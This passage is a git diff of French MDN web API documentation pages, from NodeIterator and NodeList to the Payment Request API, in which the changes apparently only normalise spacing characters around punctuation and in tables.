l'ensemble représenté par le {{domxref("NodeIterator")}} et avance la position de l'itérateur dans cet ensemble. Le premier appel de `nextNode()` en renvoie le premier noeud. Cette méthode retourne `null` quand il n'y a plus de nœuds dans l'ensemble. -Dans les navigateurs anciens, comme spécifié dans les anciennes version des spécifications, la méthode pouvait déclencher une {{domxref("DOMException")}} `INVALID_STATE_ERR` si elle était appelée après la méthode {{domxref("NodeIterator.detach()")}}. Les navigateurs récents ne lancent rien. +Dans les navigateurs anciens, comme spécifié dans les anciennes version des spécifications, la méthode pouvait déclencher une {{domxref("DOMException")}} `INVALID_STATE_ERR` si elle était appelée après la méthode {{domxref("NodeIterator.detach()")}}. Les navigateurs récents ne lancent rien. ## Syntaxe diff --git a/files/fr/web/api/nodeiterator/whattoshow/index.md b/files/fr/web/api/nodeiterator/whattoshow/index.md index 1cd3450056..d334d4aedc 100644 --- a/files/fr/web/api/nodeiterator/whattoshow/index.md +++ b/files/fr/web/api/nodeiterator/whattoshow/index.md @@ -143,7 +143,7 @@ var nodeIterator = document.createNodeIterator( false ); if( (nodeIterator.whatToShow == NodeFilter.SHOW_ALL) || - (nodeIterator.whatToShow % (NodeFilter.SHOW_COMMENT*2)) >= NodeFilter.SHOW_COMMENT) { + (nodeIterator.whatToShow % (NodeFilter.SHOW_COMMENT*2)) >= NodeFilter.SHOW_COMMENT) { // nodeIterator affichera les commentaires } ``` diff --git a/files/fr/web/api/nodelist/foreach/index.md b/files/fr/web/api/nodelist/foreach/index.md index d74ee8bccb..77666b9e3d 100644 --- a/files/fr/web/api/nodelist/foreach/index.md +++ b/files/fr/web/api/nodelist/foreach/index.md @@ -70,11 +70,11 @@ Ce {{Glossary("Polyfill","polyfill")}} ajoute une compatibilité à tous les nav ```js if (window.NodeList && !NodeList.prototype.forEach) { - NodeList.prototype.forEach = function (callback, thisArg) { + NodeList.prototype.forEach = function (callback, thisArg) { thisArg = thisArg || window; - for (var i = 0; i < this.length; i++) { - callback.call(thisArg, this[i], i, this); - } + for (var i = 0; i < this.length; i++) { + callback.call(thisArg, this[i], i, this); + } }; } ``` diff --git a/files/fr/web/api/nodelist/index.md b/files/fr/web/api/nodelist/index.md index 5f326cadc6..5bd3fb1583 100644 --- a/files/fr/web/api/nodelist/index.md +++ b/files/fr/web/api/nodelist/index.md @@ -17,7 +17,7 @@ Les objets **`NodeList`** sont des collections de nœuds comme celles retournée > > Néanmoins certains vieux navigateurs n'ont pas encore implémenté `NodeList.forEach()` ni `Array.from()`. Mais ces limitations peuvent être contournées en utilisant {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} (plus dans ce document). -Dans certains cas, la `NodeList` est une collection en direct, ce qui signifie que les changements dans le DOM sont reflétés dans la collection. Par exemple, {{domxref("Node.childNodes")}} est en direct : +Dans certains cas, la `NodeList` est une collection en direct, ce qui signifie que les changements dans le DOM sont reflétés dans la collection. Par exemple, {{domxref("Node.childNodes")}} est en direct : ```js var parent = document.getElementById('parent'); @@ -27,7 +27,7 @@ parent.appendChild(document.createElement('div')); console.log(child_nodes.length); // devrait afficher "3" ``` -Dans d'autres cas, la `NodeList` est une collection statique, ce qui signifie que tout changement dans le DOM n'affectera pas le contenu de la collection. {{domxref("document.querySelectorAll()")}} renvoie une `NodeList` statique. +Dans d'autres cas, la `NodeList` est une collection statique, ce qui signifie que tout changement dans le DOM n'affectera pas le contenu de la collection. {{domxref("document.querySelectorAll()")}} renvoie une `NodeList` statique. Il est bon de garder cette distinction à l'esprit pour choisir la façon de parcourir les éléments de la liste des nœuds et, en particulier, pour mettre en cache la longueur de la liste. @@ -39,9 +39,9 @@ Il est bon de garder cette distinction à l'esprit pour choisir la façon de par ## Méthodes - {{domxref("NodeList.item()")}} - - : Retourne un élément de la liste par son index ou `null` si l'index est en dehors des limites. Équivalent à `nodeList[idx]` (qui renvoie à la place `undefined` quand `idx` est hors des limites). + - : Retourne un élément de la liste par son index ou `null` si l'index est en dehors des limites. Équivalent à `nodeList[idx]` (qui renvoie à la place `undefined` quand `idx` est hors des limites). - {{domxref("NodeList.entries()")}} - - : renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}} permettant de parcourir toutes les paires clé / valeur contenues dans cet objet. + - : renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}} permettant de parcourir toutes les paires clé / valeur contenues dans cet objet. - {{domxref("NodeList.forEach()")}} - : exécute une fonction fournie une fois par élément `NodeList`. - {{domxref("NodeList.keys()")}} @@ -51,7 +51,7 @@ Il est bon de garder cette distinction à l'esprit pour choisir la façon de par ## Exemple -Il est possible de boucler sur les éléments d'une `NodeList` en utilisant : +Il est possible de boucler sur les éléments d'une `NodeList` en utilisant : ```js for (var i = 0; i < myNodeList.length; ++i) { @@ -85,9 +85,9 @@ Array.prototype.forEach.call(list, function (item) { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | -| {{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}} | {{ Spec2('DOM WHATWG') }} | | -| {{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}} | {{ Spec2('DOM3 Core') }} | | -| {{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}} | {{ Spec2('DOM2 Core') }} | | +| {{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}} | {{ Spec2('DOM3 Core') }} | | +| {{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}} | {{ Spec2('DOM2 Core') }} | | | {{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}} | {{ Spec2('DOM1') }} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/notification/data/index.md b/files/fr/web/api/notification/data/index.md index efddb360b1..2e0bbd45e2 100644 --- a/files/fr/web/api/notification/data/index.md +++ b/files/fr/web/api/notification/data/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/Notification/data --- {{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}} -La propriété en lecture seule **`data`** de l'interface {{domxref ("Notification")}} renvoie un clone structuré des données de la notification, comme définis à l'aide de l'option `data` lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification() ")}}. +La propriété en lecture seule **`data`** de l'interface {{domxref ("Notification")}} renvoie un clone structuré des données de la notification, comme définis à l'aide de l'option `data` lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification() ")}}. Les données de la notification peuvent être des données arbitraires, sans restriction de format que vous souhaitez associer à la notification. diff --git a/files/fr/web/api/notification/permission/index.md b/files/fr/web/api/notification/permission/index.md index fca52d13af..c610dc31c8 100644 --- a/files/fr/web/api/notification/permission/index.md +++ b/files/fr/web/api/notification/permission/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Notification/permission --- {{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}} -La propriété en lecture seule **`permission`** de l'interface {{domxref ("Notification")}} indique l'autorisation actuelle accordée par l'utilisateur à l'origine actuelle pour afficher des notifications. +La propriété en lecture seule **`permission`** de l'interface {{domxref ("Notification")}} indique l'autorisation actuelle accordée par l'utilisateur à l'origine actuelle pour afficher des notifications. ## Syntaxe diff --git a/files/fr/web/api/notification/silent/index.md b/files/fr/web/api/notification/silent/index.md index 5f31229f85..b621c5e510 100644 --- a/files/fr/web/api/notification/silent/index.md +++ b/files/fr/web/api/notification/silent/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/Notification/silent --- {{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}} -La propriété en lecture seule **`silent`** de l'interface {{domxref ("Notification")}} spécifie si la notification doit être silencieuse, c'est-à-dire qu'aucun son ou vibration ne doit être émis, quels que soient les paramètres de l'appareil. Ceci est comme définis à l'aide de l'option `silent` lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()")}}. +La propriété en lecture seule **`silent`** de l'interface {{domxref ("Notification")}} spécifie si la notification doit être silencieuse, c'est-à-dire qu'aucun son ou vibration ne doit être émis, quels que soient les paramètres de l'appareil. Ceci est comme définis à l'aide de l'option `silent` lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()")}}. ## Syntaxe diff --git a/files/fr/web/api/notificationevent/index.md b/files/fr/web/api/notificationevent/index.md index 0b2803c583..8592ef1417 100644 --- a/files/fr/web/api/notificationevent/index.md +++ b/files/fr/web/api/notificationevent/index.md @@ -63,7 +63,7 @@ self.addEventListener('notificationclick', function(event) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------------------- | ------------ | -| {{SpecName('Web Notifications','#notificationevent','NotificationEvent')}} | {{Spec2('Web Notifications')}} | | +| {{SpecName('Web Notifications','#notificationevent','NotificationEvent')}} | {{Spec2('Web Notifications')}} | | > **Note :** Cette interface est définie au sein de [l'API Notifications](/fr/docs/Web/API/Notifications_API), mais on y accède via {{domxref("ServiceWorkerGlobalScope")}}. diff --git a/files/fr/web/api/notifications_api/index.md b/files/fr/web/api/notifications_api/index.md index d7483eea5c..b5827d2d7e 100644 --- a/files/fr/web/api/notifications_api/index.md +++ b/files/fr/web/api/notifications_api/index.md @@ -33,7 +33,7 @@ De là, l'utilisateur peut choisir d'autoriser les notifications de cette origin > **Note :** Depuis Firefox 44, les autorisations pour les notifications et le push ont été fusionnées. Si l'autorisation est accordée pour les notifications, le push sera également activé. -Ensuite, une nouvelle notification est créée à l'aide du constructeur {{domxref ("Notification.Notification", "Notification ()")}}. Auquel on doit passé un titre en argument et il peut éventuellement recevoir un objet d'options pour personnalisés la notification, telles que la direction du texte, le corps du texte, l'icône à afficher, le son de notification à lire, etc. +Ensuite, une nouvelle notification est créée à l'aide du constructeur {{domxref ("Notification.Notification", "Notification ()")}}. Auquel on doit passé un titre en argument et il peut éventuellement recevoir un objet d'options pour personnalisés la notification, telles que la direction du texte, le corps du texte, l'icône à afficher, le son de notification à lire, etc. En outre, la spécification de l'API Notifications spécifie un certain nombre d'ajouts à l'[API ServiceWorker](/fr/docs/Web/API/ServiceWorker_API), pour permettre aux service worker de déclencher des notifications. diff --git a/files/fr/web/api/offlineaudiocontext/complete_event/index.md b/files/fr/web/api/offlineaudiocontext/complete_event/index.md index 02711f32b5..7c0229e724 100644 --- a/files/fr/web/api/offlineaudiocontext/complete_event/index.md +++ b/files/fr/web/api/offlineaudiocontext/complete_event/index.md @@ -39,7 +39,7 @@ _Aucun_ | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}} | {{Spec2('Web Audio API')}} | | ## Voir aussi diff --git a/files/fr/web/api/offscreencanvas/index.md b/files/fr/web/api/offscreencanvas/index.md index e8e0cd9ec2..7cb9c5d075 100644 --- a/files/fr/web/api/offscreencanvas/index.md +++ b/files/fr/web/api/offscreencanvas/index.md @@ -12,14 +12,14 @@ translation_of: Web/API/OffscreenCanvas --- {{APIRef("Canvas API")}} {{SeeCompatTable}} -L'interface `OffscreenCanvas` fournit un canevas qui peut être restitué hors écran. Il est disponible dans les contextes à la fois window et [worker](/fr-FR/docs/Web/API/Web_Workers_API). +L'interface `OffscreenCanvas` fournit un canevas qui peut être restitué hors écran. Il est disponible dans les contextes à la fois window et [worker](/fr-FR/docs/Web/API/Web_Workers_API). -> **Note :** Cette API n'est actuellement implémentée que pour les contextes [WebGL1](/fr-FR/docs/Web/API/WebGLRenderingContext) et[WebGL2](/fr-FR/docs/Web/API/WebGL2RenderingContext). Voir {{bug(801176)}} pour le support de l'[API canvas](/fr-FR/docs/Web/API/Canvas_API) depuis les workers. +> **Note :** Cette API n'est actuellement implémentée que pour les contextes [WebGL1](/fr-FR/docs/Web/API/WebGLRenderingContext) et[WebGL2](/fr-FR/docs/Web/API/WebGL2RenderingContext). Voir {{bug(801176)}} pour le support de l'[API canvas](/fr-FR/docs/Web/API/Canvas_API) depuis les workers. ## Constructeur - {{domxref("OffscreenCanvas.OffscreenCanvas", "OffscreenCanvas()")}} - - : Constructeur `OffscreenCanvas`. Crée un nouvel objet `OffscreenCanvas`. + - : Constructeur `OffscreenCanvas`. Crée un nouvel objet `OffscreenCanvas`. ## Propriétés @@ -36,16 +36,16 @@ L'interface `OffscreenCanvas` fournit un canevas qui peut être restitué hors <!----> - {{domxref("OffscreenCanvas.toBlob()")}} - - : Crée un objet {{domxref("Blob")}} représentant l'image contenue dans le canevas. + - : Crée un objet {{domxref("Blob")}} représentant l'image contenue dans le canevas. <!----> - {{domxref("OffscreenCanvas.transferToImageBitmap()")}} - - : Crée un objet {{domxref("ImageBitmap")}} à partir de l'image la plus récemment générée du `OffscreenCanvas`. + - : Crée un objet {{domxref("ImageBitmap")}} à partir de l'image la plus récemment générée du `OffscreenCanvas`. ## Exemples -### Affichage synchrone d'images produites par un `OffscreenCanvas` +### Affichage synchrone d'images produites par un `OffscreenCanvas` Une façon d'utiliser l'API `OffscreenCanvas` est d'utiliser un {{domxref("RenderingContext")}} obtenu à partir d'un objet `OffscreenCanvas` pour générer de nouvelles images. Une fois qu'une nouvelle image a fini d'être générée dans ce contexte, la méthode {{domxref("OffscreenCanvas.transferToImageBitmap", "transferToImageBitmap()")}} peut être appelée pour sauvegarder l'image générée la plus récente. Cette méthode retourne un objet {{domxref("ImageBitmap")}}, qui peut être utilisé dans une grande variété d'API Web et également dans un second canevas, sans créer de copie par transfert. @@ -80,9 +80,9 @@ var bitmapDeux = horsEcran.transferToImageBitmap(); deux.transferImageBitmap(bitmapDeux); ``` -### Affichage asynchrone d'images produites par un `OffscreenCanvas` +### Affichage asynchrone d'images produites par un `OffscreenCanvas` -Une autre façon d'utiliser l'API `OffscreenCanvas` est d'appeler {{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}} sur un élément {{HTMLElement("canvas")}}, soit sur un worker, soit sur le thread principal, ce qui retournera un objet `OffscreenCanvas` à partir d'un objet {{domxref("HTMLCanvasElement")}} depuis le thread principal. Appeler {{domxref("OffscreenCanvas.getContext", "getContext()")}} permettra d'obtienir alors un `RenderingContext` à partir de ce `OffscreenCanvas`. +Une autre façon d'utiliser l'API `OffscreenCanvas` est d'appeler {{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}} sur un élément {{HTMLElement("canvas")}}, soit sur un worker, soit sur le thread principal, ce qui retournera un objet `OffscreenCanvas` à partir d'un objet {{domxref("HTMLCanvasElement")}} depuis le thread principal. Appeler {{domxref("OffscreenCanvas.getContext", "getContext()")}} permettra d'obtienir alors un `RenderingContext` à partir de ce `OffscreenCanvas`. Afin de rendre les cadres visibles, vous pouvez appeler `commit()` sur ce `RenderingContext`, afin que les cadres soient renvoyés dans l'élément {{HTMLElement ("canvas")}} original. diff --git a/files/fr/web/api/origin/index.md b/files/fr/web/api/origin/index.md index 8aab326ced..9098ab8474 100644 --- a/files/fr/web/api/origin/index.md +++ b/files/fr/web/api/origin/index.md @@ -6,7 +6,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/origin --- {{APIRef()}}{{SeeCompatTable}} -La propriété **`origin`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne l'origine du scope global, serialisé en chaîne de caractères. +La propriété **`origin`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne l'origine du scope global, serialisé en chaîne de caractères. ## Syntaxe @@ -18,7 +18,7 @@ Une {{domxref("USVString")}}. ## Exemples -Exécuté depuis un worker, le code suivant permet d'afficher en console le scope global de ce worker à chaque message reçu. +Exécuté depuis un worker, le code suivant permet d'afficher en console le scope global de ce worker à chaque message reçu. ```js onmessage = function() { @@ -26,7 +26,7 @@ onmessage = function() { }; ``` -Si l'origine n'est pas sous la forme scheme/host/port (par exemple, si vous exécutez le code en local, via `file://`), `origin` retournera la chaîne de caractère `"null"`. +Si l'origine n'est pas sous la forme scheme/host/port (par exemple, si vous exécutez le code en local, via `file://`), `origin` retournera la chaîne de caractère `"null"`. ## Spécifications diff --git a/files/fr/web/api/oscillatornode/index.md b/files/fr/web/api/oscillatornode/index.md index 976b975a28..0be7e1d962 100644 --- a/files/fr/web/api/oscillatornode/index.md +++ b/files/fr/web/api/oscillatornode/index.md @@ -5,30 +5,30 @@ translation_of: Web/API/OscillatorNode --- {{APIRef("Web Audio API")}} -L'interface `OscillatorNode` représente un signal périodique, une sinusoïde par exemple. C'est un module de traitement audio {{domxref("AudioNode")}} qui crée un signal sinusoïdal à une fréquence donnée — c'est-à-dire génère une tonalité constante. +L'interface `OscillatorNode` représente un signal périodique, une sinusoïde par exemple. C'est un module de traitement audio {{domxref("AudioNode")}} qui crée un signal sinusoïdal à une fréquence donnée — c'est-à-dire génère une tonalité constante. -On crée un `OscillatorNode` en utilisant la méthode {{domxref("AudioContext.createOscillator")}}. Il a toujours exactement une sortie, et aucune entrée. Ses propriétés par défaut (voir {{domxref("AudioNode")}} pour la définition) sont : +On crée un `OscillatorNode` en utilisant la méthode {{domxref("AudioContext.createOscillator")}}. Il a toujours exactement une sortie, et aucune entrée. Ses propriétés par défaut (voir {{domxref("AudioNode")}} pour la définition) sont : -- Nombre d'entrées : `0` -- Nombre de sorties : `1` -- Mode de calcul des canaux : `max` -- Nombre de canaux : `2` (propriété ignorée dans le mode de calcul par défaut) -- Interprétation des canaux : `speakers` +- Nombre d'entrées : `0` +- Nombre de sorties : `1` +- Mode de calcul des canaux : `max` +- Nombre de canaux : `2` (propriété ignorée dans le mode de calcul par défaut) +- Interprétation des canaux : `speakers` ## Propriétés -*Hérite des propriétés de ses parents,* *{{domxref("AudioNode")}}*. +*Hérite des propriétés de ses parents,* *{{domxref("AudioNode")}}*. - {{domxref("OscillatorNode.frequency")}} - - : {{domxref("AudioParam")}} de type [a-rate](/fr/docs/Web/API/AudioParam#a-rate) représentant la fréquence d'oscillation en Hertz (la propriété frequency est en lecture seule, mais sa sous-propriété value ne l'est pas). + - : {{domxref("AudioParam")}} de type [a-rate](/fr/docs/Web/API/AudioParam#a-rate) représentant la fréquence d'oscillation en Hertz (la propriété frequency est en lecture seule, mais sa sous-propriété value ne l'est pas). - {{domxref("OscillatorNode.detune")}} - - : {{domxref("AudioParam")}} de type [a-rate](/fr/docs/Web/API/AudioParam#a-rate) représentant le désaccordage de l' oscillation exprimé en cents (la propriété detune est en lecture seule, mais sa sous-propriété value ne l'est pas). + - : {{domxref("AudioParam")}} de type [a-rate](/fr/docs/Web/API/AudioParam#a-rate) représentant le désaccordage de l' oscillation exprimé en cents (la propriété detune est en lecture seule, mais sa sous-propriété value ne l'est pas). - {{domxref("OscillatorNode.type")}} - - : Chaîne de caractères indiquant la forme de l'onde générée. Différentes ondes produisent différentes tonalités. Les valeurs standard sont `"sine"`, `"square"`, `"sawtooth"`, `"triangle"` et `"custom"`. La valeur par défault is `"sine"`. `custom` permet d'utiliser une {{domxref("PeriodicWave")}} pour décrire une forme d'onde personnalisée. + - : Chaîne de caractères indiquant la forme de l'onde générée. Différentes ondes produisent différentes tonalités. Les valeurs standard sont `"sine"`, `"square"`, `"sawtooth"`, `"triangle"` et `"custom"`. La valeur par défault is `"sine"`. `custom` permet d'utiliser une {{domxref("PeriodicWave")}} pour décrire une forme d'onde personnalisée. ## Méthodes -_Hérite des méthodes de ses parents, {{domxref("AudioNode")}}_. +_Hérite des méthodes de ses parents, {{domxref("AudioNode")}}_. - {{domxref("OscillatorNode.start()")}} - : Cette méthode déclenche la lecture du son. @@ -40,7 +40,7 @@ _Hérite des méthodes de ses parents, {{domxref("AudioNode")}}_. ## Event handlers - {{domxref("OscillatorNode.onended")}} - - : Propriété utilisée pour assigner un gestionnaire d'évènement à l'évènement `ended`, qui est émis une fois que la lecture du son est terminée. + - : Propriété utilisée pour assigner un gestionnaire d'évènement à l'évènement `ended`, qui est émis une fois que la lecture du son est terminée. ## Exemples diff --git a/files/fr/web/api/page_visibility_api/index.md b/files/fr/web/api/page_visibility_api/index.md index a2b1d7f629..906a4ceea6 100644 --- a/files/fr/web/api/page_visibility_api/index.md +++ b/files/fr/web/api/page_visibility_api/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Page_Visibility_API --- {{DefaultAPISidebar("Page Visibility API")}} -**L’API _Page Visibility_** (« visibilité de la page ») permet de savoir quand une page web est visible ou a le focus. +**L’API _Page Visibility_** (« visibilité de la page ») permet de savoir quand une page web est visible ou a le focus. Avec la navigation par onglets, il y a une probabilité raisonnable qu’une page web donnée soit en arrière-plan, donc masquée pour l’utilisateur. Quand celui-ci minimise la page ou bascule vers un autre onglet, l’API émet un évènement {{event("visibilitychange")}} correspondant à la visibilité de la page. Vous pouvez détecter cet évènement et réaliser différentes actions ou modifier un comportement. Par exemple, si votre application web est en train de lire une vidéo, elle peut mettre cette dernière en pause au moment où l’utilisateur regarde un autre onglet, et reprendre la lecture quand la personne revient à l’onglet. L’utilisateur ne perd pas le fil de la vidéo et peut continuer à la regarder. @@ -17,7 +17,7 @@ L’API est particulièrement utile pour économiser des ressources. Elle donne ### Cas d’utilisation -Quelques exemples : +Quelques exemples : - Un site comportant un carrousel qui ne doit pas passer à l’image suivante si l’utilisateur ne regarde pas la page. - Une application présentant un panneau d’informations, qui ne doit pas demander au serveur une mise à jour des données quand la page n’est pas visible. @@ -28,11 +28,11 @@ Historiquement, les développeurs ont utilisé des solutions de remplacement imp ### Politiques de performance des pages en arrière-plan -En parallèle avec l’API _Page Visibility,_ un certain nombre de politiques sont en place pour atténuer l’impact négatif sur les performances lié aux onglets en arrière-plan : +En parallèle avec l’API _Page Visibility,_ un certain nombre de politiques sont en place pour atténuer l’impact négatif sur les performances lié aux onglets en arrière-plan : - Les appels à {{domxref("Window.requestAnimationFrame()")}} sont suspendus dans la plupart des navigateurs lorsqu’ils sont effectués dans un onglet en arrière-plan ou une {{ HTMLElement("iframe") }} cachée, afin d’améliorer les performances et l’autonomie de la batterie. - Les timers tels que {{domxref("WindowOrWorkerGlobalScope.setTimeout")}} sont retardés dans les onglets inactifs ou en arrière-plan pour aider à l’amélioration des performances. Voir [_Reasons for delays longer than specified_](/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified) pour plus de détails. -- Les navigateurs modernes (Firefox 58+, Chrome 57+) ont mis en œuvre un retardement basé sur un budget pour les timeouts en arrière-plan. Cela place une limite supplémentaire sur la consommation de CPU des timers en arrière-plan. Cette limite opère de manière similaire dans tous les navigateurs modernes, avec les détails qui suivent : +- Les navigateurs modernes (Firefox 58+, Chrome 57+) ont mis en œuvre un retardement basé sur un budget pour les timeouts en arrière-plan. Cela place une limite supplémentaire sur la consommation de CPU des timers en arrière-plan. Cette limite opère de manière similaire dans tous les navigateurs modernes, avec les détails qui suivent : - Dans Firefox, les fenêtres d’onglets en arrière-plan ont chacune leur propre budget de temps en millisecondes — une valeur maximum et minimum de +50 ms et -150 ms, respectivement. Chrome est très similaire, excepté que le budget est spécifié en secondes. - Les fenêtres sont sujettes au retardement après 30 secondes, avec les mêmes règles de délai de retardement que spécifiées pour les timers (encore une fois, voir _[Reasons for delays longer than specified](/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified)_). Pour Chrome, cette valeur est de 10 secondes. @@ -40,7 +40,7 @@ En parallèle avec l’API _Page Visibility,_ un certain nombre de politiques so - Quand un timer a été exécuté, son temps d’exécution est retranché au budget de la fenêtre depuis laquelle le timer a été appelé. - Le budget regénère à un taux de 10 ms par seconde, sous Firefox et sous Chrome. -- Certaines opérations sont exemptées de retardement : +- Certaines opérations sont exemptées de retardement : - Les applications qui jouent du son sont considérées comme en avant-plan, et donc ne sont pas retardées. - Les applications avec des connexions en temps réel ([WebSockets](/en-US/docs/Web/API/WebSockets_API) et [WebRTC](/en-US/docs/Web/API/WebRTC_API)), afin d’éviter que ces connexions soient fermées par timeout. @@ -50,7 +50,7 @@ En parallèle avec l’API _Page Visibility,_ un certain nombre de politiques so Voir [l’exemple en direct](http://daniemon.com/tech/webapps/page-visibility/) (vidéo avec son). -Cet exemple, qui met la vidéo en pause quand vous basculez vers un autre onglet, et reprend la lecture quand vous y revenez, a été créé avec le code suivant : +Cet exemple, qui met la vidéo en pause quand vous basculez vers un autre onglet, et reprend la lecture quand vous y revenez, a été créé avec le code suivant : ```js // Set the name of the hidden property and the change event for visibility @@ -105,12 +105,12 @@ if (typeof document.addEventListener === "undefined" || typeof document.hidden = - : Retourne `true` si la page est dans un état considéré comme masqué à l’utilisateur, et `false` dans le cas contraire. - {{domxref("document.visibilityState")}} - - : Une `string` représentant l’état de visibilité du document. Valeurs possibles : + - : Une `string` représentant l’état de visibilité du document. Valeurs possibles : - - `visible` : le contenu de la page peut être au moins partiellement visible. En pratique, cela signifie que la page est l’onglet actif d’une fenêtre non minimisée. - - `hidden` : le contenu de la page n’est pas visible pour l’utilisateur. En pratique, cela signifie que le document est soit dans un onglet en arrière-plan, soit dans une fenêtre minimizée ; ou bien que l’écran de verrouillage de l’OS est actif. - - `prerender` : le contenu de la page est en train d’être précalculé et n’est pas visible pour l’utilisateur (il est considéré masqué pour `document.hidden`). Le document peut être dans cet état initialement, mais ne passera jamais à cet état depuis une autre valeur. Note : le support des navigateurs est optionnel. - - `unloaded` : la page est en train d’être déchargée de la mémoire. Note : le support des navigateurs est optionnel. + - `visible` : le contenu de la page peut être au moins partiellement visible. En pratique, cela signifie que la page est l’onglet actif d’une fenêtre non minimisée. + - `hidden` : le contenu de la page n’est pas visible pour l’utilisateur. En pratique, cela signifie que le document est soit dans un onglet en arrière-plan, soit dans une fenêtre minimizée ; ou bien que l’écran de verrouillage de l’OS est actif. + - `prerender` : le contenu de la page est en train d’être précalculé et n’est pas visible pour l’utilisateur (il est considéré masqué pour `document.hidden`). Le document peut être dans cet état initialement, mais ne passera jamais à cet état depuis une autre valeur. Note : le support des navigateurs est optionnel. + - `unloaded` : la page est en train d’être déchargée de la mémoire. Note : le support des navigateurs est optionnel. ```js //startSimulation and pauseSimulation defined elsewhere diff --git a/files/fr/web/api/pagetransitionevent/index.md b/files/fr/web/api/pagetransitionevent/index.md index ca4c52d177..b2e78f119a 100644 --- a/files/fr/web/api/pagetransitionevent/index.md +++ b/files/fr/web/api/pagetransitionevent/index.md @@ -11,7 +11,7 @@ Les évènements de transition de page sont émis quand une page web est chargé ### Hiérarchie d’héritage -[Event](/fr/docs/Web/API/Event) PageTransitionEvent +[Event](/fr/docs/Web/API/Event) PageTransitionEvent ## Exemple @@ -39,13 +39,13 @@ function myFunction(event) { ## Membres -L’objet **PageTransitionEvent** possède les types de membres suivants : +L’objet **PageTransitionEvent** possède les types de membres suivants : - [Propriétés](#Propriétés) ### Propriétés -L’objet **PageTransitionEvent** possède les propriétés suivantes : +L’objet **PageTransitionEvent** possède les propriétés suivantes : <table> <tbody> diff --git a/files/fr/web/api/passwordcredential/name/index.md b/files/fr/web/api/passwordcredential/name/index.md index f48ae976df..5e0b59442a 100644 --- a/files/fr/web/api/passwordcredential/name/index.md +++ b/files/fr/web/api/passwordcredential/name/index.md @@ -19,7 +19,7 @@ La propriété **`name`** est accessible en lecture seule et est rattachée à l ### Valeur -A {{domxref("USVString")}} containing a name. +A {{domxref("USVString")}} containing a name. ## Spécifications diff --git a/files/fr/web/api/payment_request_api/index.md b/files/fr/web/api/payment_request_api/index.md index e1c2b7a15e..381309d1c0 100644 --- a/files/fr/web/api/payment_request_api/index.md +++ b/files/fr/web/api/payment_request_api/index.md @@ -5,64 +5,64 @@ translation_of: Web/API/Payment_Request_API --- {{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}} -L'API *Payment Request* fournit une expérience utilisateur cohérente à la fois pour les acheteurs et pour les vendeurs. Ce n'est pas une nouvelle façon de payer ses achats, c'est plutôt une façon pour les utilisateurs de sélectionner leur moyen de paiement privilégié et de rendre cete information disponible pour le marchand. +L'API *Payment Request* fournit une expérience utilisateur cohérente à la fois pour les acheteurs et pour les vendeurs. Ce n'est pas une nouvelle façon de payer ses achats, c'est plutôt une façon pour les utilisateurs de sélectionner leur moyen de paiement privilégié et de rendre cete information disponible pour le marchand. ## Concepts et usages de l'API _Payment Request_ De nombreux problèmes concernant l'abandon du panier d'achat en ligne peuvent découler de formulaires de validation finale longs et difficiles à remplir, et nécessitant souvent plusieurs étapes. L'**API <i lang="en">Payment Request</i>** a pour vocation de réduire le nombre d'étapes nécessaires pour terminer un paiement en ligne, faisant potentiellement ainsi disparaître les formulaires de validation finale. Elle vise à rendre le processus de validation final plus facile en conservant les informations de l'utilisatrice ou l'utilisateur, qui sont transmises au marchand sans nécessiter de formulaire HTML. -Les avantages de l'utilisation de l'API *Payment Request* avec des règlements par cartes ("basic-card") : +Les avantages de l'utilisation de l'API *Payment Request* avec des règlements par cartes ("basic-card") : -- **Une expérience d'achat rapide** : les utilisateurs renseignent leurs informations une fois dans le navigateur et sont alors prêts pour payer des biens et services en ligne. Ils n'ont plus besoin de renseigner les mêmes informations à chaque fois sur différents sites. -- **Une expérience cohérente sur chaque site qui fonctionne avec l'API :** dans la mesure où l'affichage des informations de paiement est contrôlé par le navigateur, celui-ci peut adapter l'expérience de l'utilisateur. Ceci peut impliquer d'afficher l'interface utilisateur dans le langage favori de l'utilisateur. -- **L'accessibilité** : dans la mesure où le navigateur contrôle les éléments à renseigner concernant le paiment, il peut garantir une accessibilité du clavier et de l'écran sur chaque site sans 